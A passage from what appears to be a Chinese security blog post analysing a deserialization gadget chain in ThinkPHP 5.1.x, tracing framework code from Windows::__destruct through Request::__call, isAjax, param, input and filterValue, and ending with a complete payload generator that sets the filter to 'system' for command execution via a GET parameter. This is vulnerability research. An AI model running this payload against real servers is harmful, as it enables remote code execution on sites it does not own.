class="line">&#123;</span><br><span class="line"></span><br><span class="line">. . .   . . .</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getData</span><span class="params">($name = null)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (is_null($name)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;data;</span><br><span class="line">        &#125; <span class="keyword">elseif</span> (array_key_exists($name, <span class="keyword">$this</span>-&gt;data)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;data[$name];</span><br><span class="line">        &#125; <span class="keyword">elseif</span> (array_key_exists($name, <span class="keyword">$this</span>-&gt;relation)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;relation[$name];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidArgumentException(<span class="string">'property not exists:'</span> . <span class="keyword">static</span>::class . <span class="string">'-&gt;'</span> . $name);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getAttr</span><span class="params">($name, &amp;$item = null)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            $notFound = <span class="keyword">false</span>;</span><br><span class="line">            $value    = <span class="keyword">$this</span>-&gt;getData($name);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InvalidArgumentException $e) &#123;</span><br><span class="line">            $notFound = <span class="keyword">true</span>;</span><br><span class="line">            $value    = <span class="keyword">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        . . .  . . . </span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从 getAttr —&gt; getData 返回 data 数组中同名键值的元素值，即 <code>$relation &lt;---- $this-&gt;data[$name]</code>，我们需要的 <code>$data</code> 和 <code>$append</code> 分别位于 Attribute 和 Conversion，且两者都是 trait 类型</p><p>Trait 可以说是和 Class 相似，是 PHP 5.4.0 开始实现的一种代码复用的方法，可以使用 use 加载，举个例子</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/M56YmyLlDWxp84B.png" alt></p><p>详情可以看官方手册 <a href="https://www.php.net/manual/zh/language.oop5.traits.php" target="_blank" rel="noopener">PHP: Trait - Manual</a></p><p>所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/RgBKpY2EaTWoZNm.png" alt></p><p>发现只有 /thinkphp/library/think/Model.php 满足条件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span> <span class="keyword">implements</span> \<span class="title">JsonSerializable</span>, \<span class="title">ArrayAccess</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">Attribute</span>;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">RelationShip</span>;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">ModelEvent</span>;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">TimeStamp</span>;</span><br><span class="line">    <span class="keyword">use</span> <span class="title">model</span>\<span class="title">concern</span>\<span class="title">Conversion</span>;</span><br><span class="line"></span><br><span class="line">. . .   . . .</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点</p><p>找到 /thinkphp/library/think/Request.php 中的 Request 类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 扩展方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@var</span> array</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">protected</span> $hook = [];</span><br><span class="line">    </span><br><span class="line">    . . .   . . . </span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span><span class="params">($method, $args)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (array_key_exists($method, <span class="keyword">$this</span>-&gt;hook)) &#123;</span><br><span class="line">            array_unshift($args, <span class="keyword">$this</span>);</span><br><span class="line">            <span class="keyword">return</span> call_user_func_array(<span class="keyword">$this</span>-&gt;hook[$method], $args);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="keyword">Exception</span>(<span class="string">'method not exists:'</span> . <span class="keyword">static</span>::class . <span class="string">'-&gt;'</span> . $method);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">. . .   . . .</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的回调参数来源于 <code>$hook</code> 数组，而且方法名和参数都是可控的，不过 <code>array_unshift</code> 函数会把若干元素前置到数组的开头</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$queue = <span class="keyword">array</span>(<span class="string">"orange"</span>, <span class="string">"banana"</span>);</span><br><span class="line">array_unshift($queue, <span class="string">"apple"</span>, <span class="string">"raspberry"</span>);</span><br><span class="line">print_r($queue);</span><br><span class="line"></span><br><span class="line"><span class="comment">///</span></span><br><span class="line"><span class="keyword">Array</span></span><br><span class="line">(</span><br><span class="line">    [<span class="number">0</span>] =&gt; apple</span><br><span class="line">    [<span class="number">1</span>] =&gt; raspberry</span><br><span class="line">    [<span class="number">2</span>] =&gt; orange</span><br><span class="line">    [<span class="number">3</span>] =&gt; banana</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>这样的话明显就很难执行命令了，因为参数数组的第一个元素始终是 <code>$this</code>，无法直接执行我们想要的命令， 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板</p><p>Request 类中有一个 filterValue 函数具有过滤功能，寻找调用 filterValue 的地方以便控制 <code>$value</code> 和 <code>$filters</code> 好执行命令</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">filterValue</span><span class="params">(&amp;$value, $key, $filters)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $default = array_pop($filters);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span> ($filters <span class="keyword">as</span> $filter) &#123;</span><br><span class="line">        <span class="keyword">if</span> (is_callable($filter)) &#123;</span><br><span class="line">            <span class="comment">// 调用函数或者方法过滤</span></span><br><span class="line">            $value = call_user_func($filter, $value);</span><br><span class="line">        &#125; <span class="keyword">elseif</span> (is_scalar($value)) &#123;</span><br><span class="line">            </span><br><span class="line">         . . .   . . .         </span><br><span class="line">         </span><br><span class="line">         &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue，但是参数仍不可控，再往上寻找调用点看看</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">  <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">input</span><span class="params">($data = [], $name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (<span class="keyword">false</span> === $name) &#123;</span><br><span class="line">          <span class="comment">// 获取原始数据</span></span><br><span class="line">          <span class="keyword">return</span> $data;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      $name = (string) $name;</span><br><span class="line">      <span class="keyword">if</span> (<span class="string">''</span> != $name) &#123;</span><br><span class="line">          <span class="comment">// 解析name</span></span><br><span class="line">          <span class="keyword">if</span> (strpos($name, <span class="string">'/'</span>)) &#123;</span><br><span class="line">              <span class="keyword">list</span>($name, $type) = explode(<span class="string">'/'</span>, $name);</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">          $data = <span class="keyword">$this</span>-&gt;getData($data, $name);</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (is_null($data)) &#123;</span><br><span class="line">              <span class="keyword">return</span> $default;</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (is_object($data)) &#123;</span><br><span class="line">              <span class="keyword">return</span> $data;</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 解析过滤器</span></span><br><span class="line">      $filter = <span class="keyword">$this</span>-&gt;getFilter($filter, $default);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (is_array($data)) &#123;</span><br><span class="line">          array_walk_recursive($data, [<span class="keyword">$this</span>, <span class="string">'filterValue'</span>], $filter);</span><br><span class="line">          <span class="keyword">if</span> (version_compare(PHP_VERSION, <span class="string">'7.1.0'</span>, <span class="string">'&lt;'</span>)) &#123;</span><br><span class="line">              <span class="comment">// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针</span></span><br><span class="line">              <span class="keyword">$this</span>-&gt;arrayReset($data);</span><br><span class="line">          &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          <span class="keyword">$this</span>-&gt;filterValue($data, $name, $filter);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> $data;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>Request 类中的 param 函数调用了 input 函数，但同样参数不可控，再往上寻找调用点</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">  <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">param</span><span class="params">($name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line"></span><br><span class="line">. . .   . . .</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (<span class="keyword">true</span> === $name) &#123;</span><br><span class="line">          <span class="comment">// 获取包含文件上传信息的数组</span></span><br><span class="line">          $file = <span class="keyword">$this</span>-&gt;file();</span><br><span class="line">          $data = is_array($file) ? array_merge(<span class="keyword">$this</span>-&gt;param, $file) : <span class="keyword">$this</span>-&gt;param;</span><br><span class="line"></span><br><span class="line">          <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;input($data, <span class="string">''</span>, $default, $filter);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;input(<span class="keyword">$this</span>-&gt;param, $name, $default, $filter);</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>转到 isAjax 函数的定义</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">isAjax</span><span class="params">($ajax = false)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $value  = <span class="keyword">$this</span>-&gt;server(<span class="string">'HTTP_X_REQUESTED_WITH'</span>);</span><br><span class="line">    $result = <span class="string">'xmlhttprequest'</span> == strtolower($value) ? <span class="keyword">true</span> : <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">true</span> === $ajax) &#123;</span><br><span class="line">        <span class="keyword">return</span> $result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $result           = <span class="keyword">$this</span>-&gt;param(<span class="keyword">$this</span>-&gt;config[<span class="string">'var_ajax'</span>]) ? <span class="keyword">true</span> : $result;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;mergeParam = <span class="keyword">false</span>;</span><br><span class="line">    <span class="keyword">return</span> $result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里 <code>$ajax</code> 参数没有对类型的限制，而且 param 的参数来自 <code>$this-&gt;config</code>，是可控的，param 在最后所调用的 input 函数的 <code>$this-&gt;param, $name</code> 就都可控</p><p>跟进 get 和 route 函数不难发现 <code>$this-&gt;param</code> 的值来自 GET 请求</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 当前请求参数和URL地址中的参数合并</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;param = array_merge(<span class="keyword">$this</span>-&gt;param, <span class="keyword">$this</span>-&gt;get(<span class="keyword">false</span>), $vars, <span class="keyword">$this</span>-&gt;route(<span class="keyword">false</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">http://127.0.0.1:9000/public/?test=pwd</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">$this-&gt;param = array("test"=&gt;"pwd")</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>那么回到 input 函数看处理流程</p><p>首先 <code>$this-&gt;getData($data, $name)</code> 得到 <code>$data</code>，跟进分析，返回 <code>$data</code> 为 <code>$data[$val]</code> 的值，即 <code>$data[$name]</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getData</span><span class="params">(array $data, $name)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">foreach</span> (explode(<span class="string">'.'</span>, $name) <span class="keyword">as</span> $val) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>($data[$val])) &#123;</span><br><span class="line">            $data = $data[$val];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>回到 input，接着处理 <code>$filter = $this-&gt;getFilter($filter, $default);</code></p><p>getFilter 的两个参数分别为 <code>&#39;&#39;</code> 和 <code>null</code> 且都不可控，但是跟进不难看出最后返回 <code>$filter</code> 的值就是 <code>$this-&gt;filter</code>，虽然后面 <code>$filter[] = $default;</code> 会给 filter 数组追加个值为 <code>null</code> 的元素，但后面 filterValue 中的 array_pop 函数正好给去掉了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getFilter</span><span class="params">($filter, $default)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (is_null($filter)) &#123;</span><br><span class="line">        $filter = [];</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        $filter = $filter ?: <span class="keyword">$this</span>-&gt;filter;</span><br><span class="line">        <span class="keyword">if</span> (is_string($filter) &amp;&amp; <span class="keyword">false</span> === strpos($filter, <span class="string">'/'</span>)) &#123;</span><br><span class="line">            $filter = explode(<span class="string">','</span>, $filter);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $filter = (<span class="keyword">array</span>) $filter;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $filter[] = $default;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $filter;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样就得到一条可控变量的函数调用链，最后执行命令</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/eUh8BInif3zjXZC.png" alt></p><p>下面简单梳理下流程</p><ol><li><p>通过 Windows 类 <code>__destruct()</code> 方法调用到 <code>file_exists</code> 触发某类的 <code>__toString()</code> 来到 <code>toArray()</code> 函数</p></li><li><p>通过控制分别位于 Attribute 和 Conversion 的 <code>$data</code> 和 <code>$append</code> 变量执行在 Request 中不存在的 <code>visible</code> 函数进而触发其 <code>__call()</code></p></li><li><p>在 Request 通过控制 <code>$hook $filter $config</code> 三个变量的值注入最终的 callback 名称和参数，再经这么一系列函数调用执行命令</p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__call() ---&gt; call_user_func_array() ---&gt; isAjax() ---&gt; param() ---&gt; input() ---&gt; filterValue() ---&gt; call_user_func()</span><br></pre></td></tr></table></figure><p>画个图就直观多了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/2dkOGY7IWPcSjFt.png" alt></p><p>构造 Payload</p><p>由于 Model 类是 abstract 类型，无法实例化，而extends Model 的也只有一个 Pivot 类，所以就用它吧</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $append = [];</span><br><span class="line">    <span class="keyword">private</span> $data = [];</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;append = [<span class="string">"a"</span>=&gt;[<span class="string">""</span>]];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;data = [<span class="string">"a"</span>=&gt;<span class="keyword">new</span> Request()];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">private</span> $files = [];</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;files = [<span class="keyword">new</span> Pivot()];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $hook = [];</span><br><span class="line">    <span class="keyword">protected</span> $filter = <span class="string">"system"</span>;</span><br><span class="line">    <span class="keyword">protected</span> $config = [</span><br><span class="line">        <span class="comment">// 表单请求类型伪装变量</span></span><br><span class="line">        <span class="string">'var_method'</span>       =&gt; <span class="string">'_method'</span>,</span><br><span class="line">        <span class="comment">// 表单ajax伪装变量</span></span><br><span class="line">        <span class="string">'var_ajax'</span>         =&gt; <span class="string">'_ajax'</span>,</span><br><span class="line">        <span class="comment">// 表单pjax伪装变量</span></span><br><span class="line">        <span class="string">'var_pjax'</span>         =&gt; <span class="string">'_pjax'</span>,</span><br><span class="line">        <span class="comment">// PATHINFO变量名 用于兼容模式</span></span><br><span class="line">        <span class="string">'var_pathinfo'</span>     =&gt; <span class="string">'s'</span>,</span><br><span class="line">        <span class="comment">// 兼容PATH_INFO获取</span></span><br><span class="line">        <span class="string">'pathinfo_fetch'</span>   =&gt; [<span class="string">'ORIG_PATH_INFO'</span>, <span class="string">'REDIRECT_PATH_INFO'</span>, <span class="string">'REDIRECT_URL'</span>],</span><br><span class="line">        <span class="comment">// 默认全局过滤方法 用逗号分隔多个</span></span><br><span class="line">        <span class="string">'default_filter'</span>   =&gt; <span class="string">''</span>,</span><br><span class="line">        <span class="comment">// 域名根，如thinkphp.cn</span></span><br><span class="line">        <span class="string">'url_domain_root'</span>  =&gt; <span class="string">''</span>,</span><br><span class="line">        <span class="comment">// HTTPS代理标识</span></span><br><span class="line">        <span class="string">'https_agent_name'</span> =&gt; <span class="string">''</span>,</span><br><span class="line">        <span class="comment">// IP代理获取标识</span></span><br><span class="line">        <span class="string">'http_agent_ip'</span>    =&gt; <span class="string">'HTTP_X_REAL_IP'</span>,</span><br><span class="line">        <span class="comment">// URL伪静态后缀</span></span><br><span class="line">        <span class="string">'url_html_suffix'</span>  =&gt; <span class="string">'html'</span>,</span><br><span class="line">    ];</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;filter = <span class="string">"system"</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;config = [<span class="string">"var_ajax"</span>=&gt;<span class="string">''</span>];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;hook = [<span class="string">"visible"</span>=&gt;[<span class="keyword">$this</span>,<span class="string">"isAjax"</span>]];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>\<span class="title">Windows</span>;</span><br><span class="line"><span class="keyword">echo</span> base64_encode(serialize(<span class="keyword">new</span> Windows()));</span><br></pre></td></tr></table></figure><p>自己先构造一个利用点反序列化我们的内容，生成好 payload，GET 传入要执行的命令，命令别忘了 urlencode</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/VLxya37wOjihbSm.png" alt></p><p>查看调用堆栈</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_pop_v5.1.x.assets/pFUwl2T94GqOyng.png" alt></p><hr><p>Reference:</p><p><a href="https://paper.seebug.org/1040/" target="_blank" rel="noopener">https://paper.seebug.org/1040/</a><br><a href="https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/" target="_blank" rel="noopener">https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;文章首发于合天智汇：&lt;a href=&quot;https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A&lt;/a&gt;&lt;/p&gt;
    
    </summary>
    
    
